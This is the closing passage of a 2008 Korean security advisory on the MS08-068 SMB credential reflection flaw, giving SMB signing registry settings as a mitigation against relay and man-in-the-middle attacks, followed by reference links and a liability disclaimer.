EnableSecuritySignature = 1
RequireSecuritySignature = 1

이처럼 수정하였다면 SMB으로 접근시 보안 인증이 가능한 요청만 허용하기 때문에 man-in-the-middle 공격 등에 효과적으로 대처 할 수 있다. 이 방법을 이용할 경우 HTTP-SMB 간의 공격을 방어 할 수 있다.



2. 관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
http://www.microsoft.com/korea/technet/security/bulletin/ms08-068.mspx
http://nchovy.kr/forum/2/article/314
http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx\
http://milw0rm.com
http://www.xfocus.net/articles/200305/smbrelay.html

Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.